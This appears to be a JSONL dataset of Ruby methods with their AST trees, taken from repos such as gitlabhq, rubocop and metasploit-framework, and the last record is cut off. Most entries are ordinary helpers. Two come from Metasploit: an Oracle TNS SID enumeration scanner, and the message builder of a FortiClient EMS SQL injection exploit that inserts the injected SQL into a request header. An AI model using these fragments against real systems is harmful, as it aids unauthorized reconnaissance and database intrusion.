{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/formatter/github_actions_formatter.rb","start_line":33,"raw_source":"def minimum_severity_to_fail\n        @minimum_severity_to_fail ||= begin\n          # Unless given explicitly as `fail_level`, `:info` severity offenses do not fail\n          name = options.fetch(:fail_level, :refactor)\n          RuboCop::Cop::Severity.new(name)\n        end\n      end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"minimum_severity_to_fail\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@minimum_severity_to_fail\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"fail_level\"]},{\"type\":\"sym\",\"children\":[\"refactor\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RuboCop\"]},\"Cop\"]},\"Severity\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}]}","id":"02ddf569-3c43-434e-9a48-1050b05ba65f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/build/context/global.rb","start_line":28,"raw_source":"def stub_build\n            ::Ci::Build.fabricate(\n              pipeline_attributes.merge(\n                yaml_variables: @yaml_variables\n              )\n            )\n          end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"stub_build\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"Build\"]},\"fabricate\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pipeline_attributes\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"yaml_variables\"]},{\"type\":\"ivar\",\"children\":[\"@yaml_variables\"]}]}]}]}]}]}","id":"0b6e144e-bb09-4c0f-bdda-30293b119340"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/oracle/sid_enum.rb","start_line":39,"raw_source":"def run_host(ip)\n    begin\n      connect\n\n      pkt = tns_packet(\"(CONNECT_DATA=(COMMAND=STATUS))\")\n\n      sock.put(pkt)\n\n      select(nil, nil, nil, 0.5)\n\n      data = sock.get_once\n\n      if (data and data =~ /ERROR_STACK/)\n        print_error(\"TNS listener protected for #{ip}...\")\n      else\n        if (not data)\n          print_error(\"#{ip} Connection but no data\")\n        else\n          sid = data.scan(/INSTANCE_NAME=([^\\)]+)/)\n          sid.uniq.each do |s|\n            report_note(\n              :host => ip,\n              :port\t=> rport,\n              :type => \"oracle_sid\",\n              :data => {\n                :port => rport,\n                :sid => s\n              },\n              :update\t=> :unique_data\n            )\n            print_good(\"Identified SID for #{ip}:#{rport} #{s}\")\n          end\n          service_name = data.scan(/SERVICE_NAME=([^\\)]+)/)\n          service_name.uniq.each do |s|\n            report_note(\n              :host => ip,\n              :port\t=> rport,\n              :type => \"oracle_service_name\",\n              :data => {\n                :port => rport,\n                :service_name => s\n              },\n              :update\t=> :unique_data\n            )\n            print_status(\"Identified SERVICE_NAME for #{ip}:#{rport} #{s}\")\n          end\n        end\n      end\n      disconnect\n    rescue ::Rex::ConnectionError\n    rescue ::Errno::EPIPE\n    end\n  end","complexity_score":55.05,"ast_json":"{\"type\":\"def\",\"children\":[\"run_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"lvasgn\",\"children\":[\"pkt\",{\"type\":\"send\",\"children\":[null,\"tns_packet\",{\"type\":\"str\",\"children\":[\"(CONNECT_DATA=(COMMAND=STATUS))\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"pkt\"]}]},{\"type\":\"send\",\"children\":[null,\"select\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"float\",\"children\":[0.5]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"get_once\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"ERROR_STACK\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"TNS listener protected for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\" Connection but no data\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sid\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"INSTANCE_NAME=([^\\\\)]+)\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sid\"]},\"uniq\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"s\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"report_note\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"oracle_sid\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sid\"]},{\"type\":\"lvar\",\"children\":[\"s\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"sym\",\"children\":[\"unique_data\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Identified SID for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"service_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"SERVICE_NAME=([^\\\\)]+)\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_name\"]},\"uniq\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"s\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"report_note\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"oracle_service_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_name\"]},{\"type\":\"lvar\",\"children\":[\"s\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"sym\",\"children\":[\"unique_data\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Identified SERVICE_NAME for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]}]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionError\"]}]},null,null]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Errno\"]},\"EPIPE\"]}]},null,null]},null]}]}]}","id":"c22fba25-de1c-46dd-9536-12429caadbd6"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/portal/app.rb","start_line":196,"raw_source":"def mac?\n        platform == 'mac'\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"mac?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"platform\"]},\"==\",{\"type\":\"str\",\"children\":[\"mac\"]}]}]}","id":"63eda2d2-844e-4ac5-b6ab-2e103ba7da80"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/import_export/recursive_merge_folders.rb","start_line":55,"raw_source":"def self.recursive_merge(source_path, target_path)\n        Dir.children(source_path).each do |child|\n          source_child = File.join(source_path, child)\n          target_child = File.join(target_path, child)\n\n          next if Gitlab::Utils::FileInfo.linked?(source_child)\n\n          if File.directory?(source_child)\n            FileUtils.mkdir_p(target_child, mode: DEFAULT_DIR_MODE)\n            recursive_merge(source_child, target_child)\n          else\n            FileUtils.mv(source_child, target_child)\n          end\n        end\n      end","complexity_score":16.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"recursive_merge\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"source_path\"]},{\"type\":\"arg\",\"children\":[\"target_path\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"children\",{\"type\":\"lvar\",\"children\":[\"source_path\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"child\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"source_child\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"source_path\"]},{\"type\":\"lvar\",\"children\":[\"child\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"target_child\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"target_path\"]},{\"type\":\"lvar\",\"children\":[\"child\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Utils\"]},\"FileInfo\"]},\"linked?\",{\"type\":\"lvar\",\"children\":[\"source_child\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"directory?\",{\"type\":\"lvar\",\"children\":[\"source_child\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"mkdir_p\",{\"type\":\"lvar\",\"children\":[\"target_child\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mode\"]},{\"type\":\"const\",\"children\":[null,\"DEFAULT_DIR_MODE\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"recursive_merge\",{\"type\":\"lvar\",\"children\":[\"source_child\"]},{\"type\":\"lvar\",\"children\":[\"target_child\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"mv\",{\"type\":\"lvar\",\"children\":[\"source_child\"]},{\"type\":\"lvar\",\"children\":[\"target_child\"]}]}]}]}]}]}","id":"01230ffd-8bc5-4b39-9aeb-0701284149b9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/parser/foundstone_document.rb","start_line":84,"raw_source":"def check_for_correct_report_type(attrs,&block)\n      report_type = attr_hash(attrs)[\"ReportType\"]\n      if report_type == \"Network Inventory\"\n        @report_type_ok = true\n      else\n        if report_type == \"Risk Data\"\n          msg = \"The Foundstone/Mcafee report type '#{report_type}' is not currently supported\"\n          msg << \",\\nso no data will be imported. Please use the 'Network Inventory' report instead.\"\n        else\n          msg = \".\\nThe Foundstone/Macafee report type '#{report_type}' is unsupported.\"\n        end\n        db.emit(:warning,msg,&block) if block\n        @report_type_ok = false\n      end\n    end","complexity_score":19.5,"ast_json":"{\"type\":\"def\",\"children\":[\"check_for_correct_report_type\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attrs\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"report_type\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attr_hash\",{\"type\":\"lvar\",\"children\":[\"attrs\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"ReportType\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report_type\"]},\"==\",{\"type\":\"str\",\"children\":[\"Network Inventory\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@report_type_ok\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report_type\"]},\"==\",{\"type\":\"str\",\"children\":[\"Risk Data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"msg\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"The Foundstone/Mcafee report type '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report_type\"]}]},{\"type\":\"str\",\"children\":[\"' is not currently supported\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"<<\",{\"type\":\"str\",\"children\":[\",\\nso no data will be imported. Please use the 'Network Inventory' report instead.\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"msg\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\".\\nThe Foundstone/Macafee report type '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report_type\"]}]},{\"type\":\"str\",\"children\":[\"' is unsupported.\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"db\"]},\"emit\",{\"type\":\"sym\",\"children\":[\"warning\"]},{\"type\":\"lvar\",\"children\":[\"msg\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@report_type_ok\",{\"type\":\"false\",\"children\":[]}]}]}]}]}]}","id":"47211504-29bb-42f5-8412-5f4fc9ad057d"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/workers/resolve_account_worker.rb","start_line":8,"raw_source":"def perform(uri)\n    ResolveAccountService.new.call(uri)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"uri\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ResolveAccountService\"]},\"new\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"uri\"]}]}]}","id":"70057970-40a2-46b8-a755-ea5582e02e32"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/admin_customize_themes.rb","start_line":6,"raw_source":"def visit(theme_or_theme_id)\n        page.visit(\n          \"/admin/customize/themes/#{theme_or_theme_id.is_a?(Theme) ? theme_or_theme_id.id : theme_or_theme_id}\",\n        )\n        self\n      end","complexity_score":5.9,"ast_json":"{\"type\":\"def\",\"children\":[\"visit\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"theme_or_theme_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"visit\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/admin/customize/themes/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"theme_or_theme_id\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Theme\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"theme_or_theme_id\"]},\"id\"]},{\"type\":\"lvar\",\"children\":[\"theme_or_theme_id\"]}]}]}]}]},{\"type\":\"self\",\"children\":[]}]}]}","id":"31f2c88f-364b-441d-a567-78f91d5299b4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/config/initializers/active_record_table_definition.rb","start_line":17,"raw_source":"def timestamps_with_timezone(**options)\n        options[:null] = false if options[:null].nil?\n\n        [:created_at, :updated_at].each do |column_name|\n          column(column_name, :datetime_with_timezone, **options)\n        end\n      end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"timestamps_with_timezone\",{\"type\":\"args\",\"children\":[{\"type\":\"kwrestarg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"null\"]}]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"sym\",\"children\":[\"updated_at\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"column_name\"]}]},{\"type\":\"send\",\"children\":[null,\"column\",{\"type\":\"lvar\",\"children\":[\"column_name\"]},{\"type\":\"sym\",\"children\":[\"datetime_with_timezone\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]}]}]}","id":"4f44b64c-e333-4932-91eb-d5bd5c070cc0"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/supply/lib/supply/generated_universal_apk.rb","start_line":17,"raw_source":"def ==(other)\n      self.package_name == other.package_name \\\n        && self.version_code == other.version_code \\\n        && self.certificate_sha256_hash == other.certificate_sha256_hash \\\n        && self.download_id == other.download_id\n    end","complexity_score":19.6,"ast_json":"{\"type\":\"def\",\"children\":[\"==\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"other\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"package_name\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"package_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"version_code\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"version_code\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"certificate_sha256_hash\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"certificate_sha256_hash\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"download_id\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"download_id\"]}]}]}]}","id":"f713bd7b-f614-450d-bda6-a4b277cf56cd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/projects_helper.rb","start_line":881,"raw_source":"def project_child_container_class(view_path)\n    view_path == \"projects/issues\" ? \"gl-mt-3\" : \"project-show-#{view_path}\"\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"project_child_container_class\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"view_path\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"view_path\"]},\"==\",{\"type\":\"str\",\"children\":[\"projects/issues\"]}]},{\"type\":\"str\",\"children\":[\"gl-mt-3\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"project-show-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"view_path\"]}]}]}]}]}","id":"c2f345a8-27d2-4515-872e-4b5c0e6a6ad2"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/forticlient_ems_fctid_sqli.rb","start_line":204,"raw_source":"def get_message(sqli)\n    message = \"MSG_HEADER: FCTUID={SQLI_PLACEHOLDER}\\n\"\n    message << \"SIZE=     {SIZE_PLACEHOLDER}\\r\\n\"\n    message << \"\\n\"\n    # For 7.0 versions the register info gets placed after two pipe operators, for 7.2 it gets placed in between.\n    if @version >= Rex::Version.new('7.2')\n      message << \"X-FCCK-REGISTER:SYSINFO|#{get_register_info}|\\r\\n\"\n    else\n      message << \"X-FCCK-REGISTER:SYSINFO||#{get_register_info}\\r\\n\"\n    end\n    message << \"\\n\"\n    message << 'X-FCCK-REGISTER-END'\n    message << \"\\r\\n\\r\\n\"\n    message.gsub!('{SQLI_PLACEHOLDER}', sqli)\n    message_length = message.length\n    message_length = message_length - '{SIZE_PLACEHOLDER}'.length + message_length.to_s.length\n    message.gsub!('{SIZE_PLACEHOLDER}', message_length.to_s)\n    message\n  end","complexity_score":26.4,"ast_json":"{\"type\":\"def\",\"children\":[\"get_message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sqli\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"str\",\"children\":[\"MSG_HEADER: FCTUID={SQLI_PLACEHOLDER}\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"<<\",{\"type\":\"str\",\"children\":[\"SIZE=     {SIZE_PLACEHOLDER}\\r\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\n\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@version\"]},\">=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"7.2\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"X-FCCK-REGISTER:SYSINFO|\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_register_info\"]}]},{\"type\":\"str\",\"children\":[\"|\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"X-FCCK-REGISTER:SYSINFO||\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_register_info\"]}]},{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"<<\",{\"type\":\"str\",\"children\":[\"X-FCCK-REGISTER-END\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\r\\n\\r\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"gsub!\",{\"type\":\"str\",\"children\":[\"{SQLI_PLACEHOLDER}\"]},{\"type\":\"lvar\",\"children\":[\"sqli\"]}]},{\"type\":\"lvasgn\",\"children\":[\"message_length\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"length\"]}]},{\"type\":\"lvasgn\",\"children\":[\"message_length\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message_length\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"{SIZE_PLACEHOLDER}\"]},\"length\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message_length\"]},\"to_s\"]},\"length\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"gsub!\",{\"type\":\"str\",\"children\":[\"{SIZE_PLACEHOLDER}\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message_length\"]},\"to_s\"]}]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}","id":"e6f62195-b7ee-4719-886f-713cca2e481c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/diff/line.rb","start_line":41,"raw_source":"def self.safe_init_from_hash(hash)\n        line = hash.with_indifferent_access\n        rich_text = line[:rich_text]\n        line[:rich_text] = rich_text&.html_safe\n\n        init_from_hash(line)\n      